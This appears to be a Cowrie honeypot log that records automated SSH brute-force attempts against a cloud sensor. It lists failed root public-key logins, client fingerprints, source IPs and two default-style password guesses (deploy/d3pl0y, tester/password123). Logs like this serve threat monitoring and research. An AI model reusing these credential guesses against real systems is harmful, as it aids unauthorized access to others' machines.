{"eventid":"cowrie.login.failed","username":"root","fingerprint":"91:34:d0:af:c0:8b:b9:69:fa:45:ee:9a:5a:16:b6:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZ27hc+E/WsABC6rpXqpS0tq5LZzjSTbe8mPM/IbWI9NCR1EkHUnB4R4a5evhdh89ck5zE/FrOw1s0IxTZ5r28FSA6OtAzu8nP6sO/ugdvKKeKv4H/jZoGq65mXGsJvWxAzDW8i6cQoRL13SJkwoCDoNKKgtlHD0qXMj3UX+H4Q/WATuAw/27qY15eIQ4xFGtoCH8g+bUHK7/CC+RE0OHdNsrsP+3CgaDxqfog3q1D/8UWxvW/ISkIs9SPYBNmTu8W5e3WGUDwyyEKPFUDxn+9YGDcES78y6E+h6sI3C1WmPHTtzYca62ZxwAC58RtPUi2hTgkuRbiAWPH+0+zq9e5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:52:05.586861Z","src_ip":"45.156.223.71","session":"3c4b1e26d5a5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:ea:2d:26:36:98:9f:4b:68:e0:17:65:62:4b:a8:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPm2xKy3YtKG/+HAt1JCtMGmTjUftnfEgOQcKH3Q3Vo4AgX27idWwolVUO2/hSJvwnDSAkzOQo0AP0J3OR4vN58Z1DzgTYZd4FS6qtJsLX4iIqcH30+B6Hlcx2h6pd0qmfTgKKVJep3nUHVkoUesnapo9P+DHQ8GjhviVzyV8eBK2mQltirrggnpaBH6vLu7v/sOB2XcDuuF61ub2DAV/Uaen2vkh/BQGQ3bJBDhlnto8sJM9IbbN8LpBpVDAl3LPq4rEjlsFXYeQlUDu6JJKFfuGNqYBgoC8JgLd6XD9H+T8sKmozAz4GopeCY85OO52721ulJrVO674PictbT7ox","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:ea:2d:26:36:98:9f:4b:68:e0:17:65:62:4b:a8:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:52:05.685140Z","src_ip":"45.156.223.71","session":"3c4b1e26d5a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:ea:2d:26:36:98:9f:4b:68:e0:17:65:62:4b:a8:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPm2xKy3YtKG/+HAt1JCtMGmTjUftnfEgOQcKH3Q3Vo4AgX27idWwolVUO2/hSJvwnDSAkzOQo0AP0J3OR4vN58Z1DzgTYZd4FS6qtJsLX4iIqcH30+B6Hlcx2h6pd0qmfTgKKVJep3nUHVkoUesnapo9P+DHQ8GjhviVzyV8eBK2mQltirrggnpaBH6vLu7v/sOB2XcDuuF61ub2DAV/Uaen2vkh/BQGQ3bJBDhlnto8sJM9IbbN8LpBpVDAl3LPq4rEjlsFXYeQlUDu6JJKFfuGNqYBgoC8JgLd6XD9H+T8sKmozAz4GopeCY85OO52721ulJrVO674PictbT7ox","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:52:05.692347Z","src_ip":"45.156.223.71","session":"3c4b1e26d5a5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:b9:12:5d:5e:6f:03:20:9b:eb:1d:4b:72:57:83:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtXlpLxEozIOWVcKSycesZRdp7/ERb0m+EwzwQ5qalRQYWBZDj1nbFEGFIsNQyYoNelqcDNP1K9xMMQBlIBhvzrYX23lWmAEWceWDDvaRF1LH+gp6x/zWfsHzjilmHXHkR5mhRgZvE2mYk3tpVw3Gbh8O+51DLFTVGKwJINbeiftqskTISOU6oaPZD8+S+G2Q65KfrT3kuri4rvCTu1yyCmQfy7QNeotBBkfSBhtMzh3JWseD+BkWoCgofa/8ZqYoO490zOpmGr8LeAxWc83qKeze944THAl6OuCDrGHzuRiMxHC3vDLXPoWfYZy+JUNwIADAWqzY9B8N0NehvIjph","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:b9:12:5d:5e:6f:03:20:9b:eb:1d:4b:72:57:83:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:52:05.789164Z","src_ip":"45.156.223.71","session":"3c4b1e26d5a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:b9:12:5d:5e:6f:03:20:9b:eb:1d:4b:72:57:83:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtXlpLxEozIOWVcKSycesZRdp7/ERb0m+EwzwQ5qalRQYWBZDj1nbFEGFIsNQyYoNelqcDNP1K9xMMQBlIBhvzrYX23lWmAEWceWDDvaRF1LH+gp6x/zWfsHzjilmHXHkR5mhRgZvE2mYk3tpVw3Gbh8O+51DLFTVGKwJINbeiftqskTISOU6oaPZD8+S+G2Q65KfrT3kuri4rvCTu1yyCmQfy7QNeotBBkfSBhtMzh3JWseD+BkWoCgofa/8ZqYoO490zOpmGr8LeAxWc83qKeze944THAl6OuCDrGHzuRiMxHC3vDLXPoWfYZy+JUNwIADAWqzY9B8N0NehvIjph","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:52:05.793565Z","src_ip":"45.156.223.71","session":"3c4b1e26d5a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:52:05.891421Z","src_ip":"45.156.223.71","session":"3c4b1e26d5a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.36.71","src_port":29200,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f7f790da8d3","protocol":"ssh","message":"New connection: 165.154.36.71:29200 (159.203.135.109:22) [session: 0f7f790da8d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:53:00.662201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:53:00.670684Z","src_ip":"165.154.36.71","session":"0f7f790da8d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:53:00.737788Z","src_ip":"165.154.36.71","session":"0f7f790da8d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"d3pl0y","message":"login attempt [deploy/d3pl0y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:53:01.016990Z","src_ip":"165.154.36.71","session":"0f7f790da8d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:53:02.094916Z","src_ip":"165.154.36.71","session":"0f7f790da8d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.44.20.31","src_port":34490,"dst_ip":"10.17.0.5","dst_port":22,"session":"51a40bc37c6d","protocol":"ssh","message":"New connection: 188.44.20.31:34490 (10.17.0.5:22) [session: 51a40bc37c6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:53:16.348452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:53:16.355260Z","src_ip":"188.44.20.31","session":"51a40bc37c6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:53:16.489360Z","src_ip":"188.44.20.31","session":"51a40bc37c6d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:91:a0:31:6c:0f:5b:12:45:5f:fb:f2:80:2b:88:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDqfyz/4CyvXJqUIQH2Xo4qvUE/5IoY65TgpNrGuTcpA39WhWDj8J+fnxYbMszI798Xc/r7jj+fFHgER3uRRuNmSqnab+xcaMESUwwvBwVvZg6SXXJ6lAUHWNuHDXC3xIn2kd8qnS4VxhAOU2hrst0QF/pLTp9c33GH5GjvmzGLwve7wUvmp6zKbrDYEgRhsaWN9mDzFZoeJJ/4zFy07XkjG6gVb0KNov8BKKSScQ9rRVDpCc0eyw93E15IgcfesWruH98579UMXEHpnykf9mbXJ9hOE+ggnCbFL2qq1ZOw3GL07qkgHLQqwAsLx5rLyZpqddF71PrcjHmnhlRStfx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:91:a0:31:6c:0f:5b:12:45:5f:fb:f2:80:2b:88:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:53:17.172055Z","src_ip":"188.44.20.31","session":"51a40bc37c6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:91:a0:31:6c:0f:5b:12:45:5f:fb:f2:80:2b:88:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDqfyz/4CyvXJqUIQH2Xo4qvUE/5IoY65TgpNrGuTcpA39WhWDj8J+fnxYbMszI798Xc/r7jj+fFHgER3uRRuNmSqnab+xcaMESUwwvBwVvZg6SXXJ6lAUHWNuHDXC3xIn2kd8qnS4VxhAOU2hrst0QF/pLTp9c33GH5GjvmzGLwve7wUvmp6zKbrDYEgRhsaWN9mDzFZoeJJ/4zFy07XkjG6gVb0KNov8BKKSScQ9rRVDpCc0eyw93E15IgcfesWruH98579UMXEHpnykf9mbXJ9hOE+ggnCbFL2qq1ZOw3GL07qkgHLQqwAsLx5rLyZpqddF71PrcjHmnhlRStfx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:53:17.175998Z","src_ip":"188.44.20.31","session":"51a40bc37c6d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:04:a6:41:99:51:5f:3e:9e:72:ab:60:ae:a6:4f:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/luoa30JdNwg9SX9kfwPL0mJTWB9UEMadL6jDeA3H/w2WYDKN9luO+sO3E8sOksYa4cYNE33Varpr0cNu1ADgmNUG/5s+FRONQ34aQdrhPdVaN8s9EtNhQJ/dRXoTIT2jWknUIEeW4kciSnflNTYLZRTZZRuaD4ZHEPNExGluP2DebMLF2UXCeuP1X2PxxwenV/qgSTwU+4ZfNQ+G3MFu9osnAeTInle8jukjdWmYggyo4isCIkgTri8HwZrH3PiFaP9lvuo0HZH6ct67nbfbMIn3OCUfX4Hcw+2ZAILQzzXT76xWej8l78IJGj6oz3EPghmJvhm9upnhbo+lDBSR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:04:a6:41:99:51:5f:3e:9e:72:ab:60:ae:a6:4f:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:53:17.315135Z","src_ip":"188.44.20.31","session":"51a40bc37c6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:04:a6:41:99:51:5f:3e:9e:72:ab:60:ae:a6:4f:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/luoa30JdNwg9SX9kfwPL0mJTWB9UEMadL6jDeA3H/w2WYDKN9luO+sO3E8sOksYa4cYNE33Varpr0cNu1ADgmNUG/5s+FRONQ34aQdrhPdVaN8s9EtNhQJ/dRXoTIT2jWknUIEeW4kciSnflNTYLZRTZZRuaD4ZHEPNExGluP2DebMLF2UXCeuP1X2PxxwenV/qgSTwU+4ZfNQ+G3MFu9osnAeTInle8jukjdWmYggyo4isCIkgTri8HwZrH3PiFaP9lvuo0HZH6ct67nbfbMIn3OCUfX4Hcw+2ZAILQzzXT76xWej8l78IJGj6oz3EPghmJvhm9upnhbo+lDBSR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:53:17.327674Z","src_ip":"188.44.20.31","session":"51a40bc37c6d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"91:34:d0:af:c0:8b:b9:69:fa:45:ee:9a:5a:16:b6:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZ27hc+E/WsABC6rpXqpS0tq5LZzjSTbe8mPM/IbWI9NCR1EkHUnB4R4a5evhdh89ck5zE/FrOw1s0IxTZ5r28FSA6OtAzu8nP6sO/ugdvKKeKv4H/jZoGq65mXGsJvWxAzDW8i6cQoRL13SJkwoCDoNKKgtlHD0qXMj3UX+H4Q/WATuAw/27qY15eIQ4xFGtoCH8g+bUHK7/CC+RE0OHdNsrsP+3CgaDxqfog3q1D/8UWxvW/ISkIs9SPYBNmTu8W5e3WGUDwyyEKPFUDxn+9YGDcES78y6E+h6sI3C1WmPHTtzYca62ZxwAC58RtPUi2hTgkuRbiAWPH+0+zq9e5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 91:34:d0:af:c0:8b:b9:69:fa:45:ee:9a:5a:16:b6:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:53:17.469932Z","src_ip":"188.44.20.31","session":"51a40bc37c6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"91:34:d0:af:c0:8b:b9:69:fa:45:ee:9a:5a:16:b6:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZ27hc+E/WsABC6rpXqpS0tq5LZzjSTbe8mPM/IbWI9NCR1EkHUnB4R4a5evhdh89ck5zE/FrOw1s0IxTZ5r28FSA6OtAzu8nP6sO/ugdvKKeKv4H/jZoGq65mXGsJvWxAzDW8i6cQoRL13SJkwoCDoNKKgtlHD0qXMj3UX+H4Q/WATuAw/27qY15eIQ4xFGtoCH8g+bUHK7/CC+RE0OHdNsrsP+3CgaDxqfog3q1D/8UWxvW/ISkIs9SPYBNmTu8W5e3WGUDwyyEKPFUDxn+9YGDcES78y6E+h6sI3C1WmPHTtzYca62ZxwAC58RtPUi2hTgkuRbiAWPH+0+zq9e5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:53:17.474190Z","src_ip":"188.44.20.31","session":"51a40bc37c6d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:ea:2d:26:36:98:9f:4b:68:e0:17:65:62:4b:a8:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPm2xKy3YtKG/+HAt1JCtMGmTjUftnfEgOQcKH3Q3Vo4AgX27idWwolVUO2/hSJvwnDSAkzOQo0AP0J3OR4vN58Z1DzgTYZd4FS6qtJsLX4iIqcH30+B6Hlcx2h6pd0qmfTgKKVJep3nUHVkoUesnapo9P+DHQ8GjhviVzyV8eBK2mQltirrggnpaBH6vLu7v/sOB2XcDuuF61ub2DAV/Uaen2vkh/BQGQ3bJBDhlnto8sJM9IbbN8LpBpVDAl3LPq4rEjlsFXYeQlUDu6JJKFfuGNqYBgoC8JgLd6XD9H+T8sKmozAz4GopeCY85OO52721ulJrVO674PictbT7ox","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:ea:2d:26:36:98:9f:4b:68:e0:17:65:62:4b:a8:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:53:17.614795Z","src_ip":"188.44.20.31","session":"51a40bc37c6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:ea:2d:26:36:98:9f:4b:68:e0:17:65:62:4b:a8:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPm2xKy3YtKG/+HAt1JCtMGmTjUftnfEgOQcKH3Q3Vo4AgX27idWwolVUO2/hSJvwnDSAkzOQo0AP0J3OR4vN58Z1DzgTYZd4FS6qtJsLX4iIqcH30+B6Hlcx2h6pd0qmfTgKKVJep3nUHVkoUesnapo9P+DHQ8GjhviVzyV8eBK2mQltirrggnpaBH6vLu7v/sOB2XcDuuF61ub2DAV/Uaen2vkh/BQGQ3bJBDhlnto8sJM9IbbN8LpBpVDAl3LPq4rEjlsFXYeQlUDu6JJKFfuGNqYBgoC8JgLd6XD9H+T8sKmozAz4GopeCY85OO52721ulJrVO674PictbT7ox","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:53:17.618677Z","src_ip":"188.44.20.31","session":"51a40bc37c6d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:b9:12:5d:5e:6f:03:20:9b:eb:1d:4b:72:57:83:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtXlpLxEozIOWVcKSycesZRdp7/ERb0m+EwzwQ5qalRQYWBZDj1nbFEGFIsNQyYoNelqcDNP1K9xMMQBlIBhvzrYX23lWmAEWceWDDvaRF1LH+gp6x/zWfsHzjilmHXHkR5mhRgZvE2mYk3tpVw3Gbh8O+51DLFTVGKwJINbeiftqskTISOU6oaPZD8+S+G2Q65KfrT3kuri4rvCTu1yyCmQfy7QNeotBBkfSBhtMzh3JWseD+BkWoCgofa/8ZqYoO490zOpmGr8LeAxWc83qKeze944THAl6OuCDrGHzuRiMxHC3vDLXPoWfYZy+JUNwIADAWqzY9B8N0NehvIjph","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:b9:12:5d:5e:6f:03:20:9b:eb:1d:4b:72:57:83:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:53:17.758991Z","src_ip":"188.44.20.31","session":"51a40bc37c6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:b9:12:5d:5e:6f:03:20:9b:eb:1d:4b:72:57:83:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtXlpLxEozIOWVcKSycesZRdp7/ERb0m+EwzwQ5qalRQYWBZDj1nbFEGFIsNQyYoNelqcDNP1K9xMMQBlIBhvzrYX23lWmAEWceWDDvaRF1LH+gp6x/zWfsHzjilmHXHkR5mhRgZvE2mYk3tpVw3Gbh8O+51DLFTVGKwJINbeiftqskTISOU6oaPZD8+S+G2Q65KfrT3kuri4rvCTu1yyCmQfy7QNeotBBkfSBhtMzh3JWseD+BkWoCgofa/8ZqYoO490zOpmGr8LeAxWc83qKeze944THAl6OuCDrGHzuRiMxHC3vDLXPoWfYZy+JUNwIADAWqzY9B8N0NehvIjph","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:53:17.763583Z","src_ip":"188.44.20.31","session":"51a40bc37c6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:53:17.906358Z","src_ip":"188.44.20.31","session":"51a40bc37c6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.36.71","src_port":47862,"dst_ip":"159.203.135.109","dst_port":22,"session":"1438a9d005f5","protocol":"ssh","message":"New connection: 165.154.36.71:47862 (159.203.135.109:22) [session: 1438a9d005f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:54:07.825591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:54:07.830505Z","src_ip":"165.154.36.71","session":"1438a9d005f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:54:07.902137Z","src_ip":"165.154.36.71","session":"1438a9d005f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"password123","message":"login attempt [tester/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:54:08.218492Z","src_ip":"165.154.36.71","session":"1438a9d005f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:54:09.292256Z","src_ip":"165.154.36.71","session":"1438a9d005f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":53042,"dst_ip":"159.203.135.109","dst_port":23,"session":"704faa2c54c5","protocol":"telnet","message":"New connection: 199.103.57.63:53042 (159.203.135.109:23) [session: 704faa2c54c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:54:27.153464Z"}
